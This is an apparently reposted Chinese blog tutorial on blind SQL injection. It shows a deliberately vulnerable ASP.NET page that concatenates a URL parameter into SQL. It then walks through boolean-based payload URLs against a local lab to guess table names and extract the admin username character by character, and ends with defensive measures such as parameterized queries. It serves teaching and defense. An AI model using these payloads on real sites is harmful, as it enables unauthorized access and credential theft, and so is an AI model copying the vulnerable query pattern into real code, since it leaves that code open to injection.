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  • SQL注入

    SQL注入<一> 盲注

      SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解

     

    攻击的全过程,就可以更好的预防类似情况的出现。

     

     SQL注入原理   主要是攻击者,利益被攻击页面的一些漏洞(通常都是程序员粗心大意造成的),改变数据库执行的SQL语句,从而达到获取“非授权信息”的目的。

     

        下面自己搭建了实验环境用于测试。  首先交待一下,测试环境 开发语言为 Asp.net  ,数据库使用的 MSQL ,测试页面模拟了普通的新闻页面,URL里接受参数 ?id=1  获取文章ID,

     

    后台直接通获取的ID拼接查询语句,没有做敏感字符的过滤,从而为入侵者留下了有机可剩的漏洞.下面是后台代码:

     

    复制代码
        public partial class NewsInfo : System.Web.UI.Page
        {
            protected NewsModel _news = new NewsModel();
            protected void Page_Load(object sender, EventArgs e)
            {
                var id = Request["id"];
                var sqlStr = "select * from news where id=" + id;
                var sqlCon = SqlHelper.GetConnection();
    
                try
                {
                    var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);
    
                    if (ds.Tables[0].Rows.Count <= 0) return;
    
                    _news.Title = ds.Tables[0].Rows[0]["title"].ToString();
                    _news.Text = ds.Tables[0].Rows[0]["text"].ToString();
                    _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd");
                }
                catch (Exception ex)
                {
    
                }
            }
        }
    复制代码

     

     

       一、过程重现

     

      

     

     1. 测试有没有注入漏洞 

     

          浏览器输入 http://localhost:2003/newsInfo?id=1  and 1=1    页面正常   后台执行的SQL语句为:select * from news where id=1 and 1=1

     

      输入 http://localhost:2003/newsInfo?id=1  and 1=2  空白页面,数据无法显示(后台执行的SQL语句为:select * from news where id=1 and 1=2),页面有注入漏洞。

     

     

     

    2.  猜解数据库表名

     

        既然有漏洞,就准备做点事情咯,主要目的是拿到后台管理员密码,先看看数据库里有哪些表吧

     

      http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0   没有数据,继续猜解...... N次,

     

     终于 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0

     

     这里是利用 后面的条件查询数据库表,如果表不存在,后台就报错了,本测试示例后台对异常做了处理,但是数据肯定是出不来的。

     

     

    数据显示正常,说明表 user 存在,判断 为 用户表

     

    3. 表字段猜解

     

    http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0  ....... N次

     

    http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0  页面数据正常如下图

     

     

    说名表 user 存在 pwd 字段

     

    同理  确认表 user 里存在  name 字段。

     

    4. 查询表里有多少条数据 

     

    http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白页面

     

    http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白页面

     

    http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1  页面正常  ,只有一个用户。

     

     

    5. 用户名猜解

     

       <A>  用户名长度,

     

                 http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3  ,返回空白页面

     

                 http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白页面

     

                 http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5  ,返回正常页面,确定用户名为5位字符

     

     

    <B>  用户名猜解

     

             第一位    http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ,返回正常页面 ........... 

     

                         下面猜解 N次

     

             http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, 返回正常页面

     

                          http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97   返回空白页面了

     

                           这说明 第一位 ASCII值为 97,对应字母 a

     

              以此类推 ,第2位,第3位 .....第5位, 猜解出用户名 admin ,在这里主要用了 ASCII  和 SUBSTRING 函数,如果对这两个函数不熟悉请自行百度,下面是猜解过程截图。

     

           

     

     

    用户名猜解成功。

     

    6. 密码猜解

     

        用户名搞定了,密码思路也是一样

     

        <A> 先确定密码长度

     

        <B> 逐个密码猜解,这里就不写注入的sql语句了,同 用户名 猜解

     

       至此,整改网站管理后台沦陷。

     

    二、防范方法

     

       1. 后台进行输入验证,对敏感字符过滤。(某情况下不完全保险,可能会有漏掉的敏感字符,攻击者可以对关键字符转义绕过过滤)

     

     2. 使用存储过程(不灵活,太多存储过程不好维护,特别是如果存储过程里涉及到业务,对以后的维护简直是灾难,出了问题也不好查找)

     

       3. 使用参数化查询,能避免拼接SQL,就不要拼接SQL语句。(当然了,本示例只要判断 参数ID 是否为数字就不会有题了)

     
     
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  • 原文地址:https://www.cnblogs.com/Leo_wl/p/6201288.html
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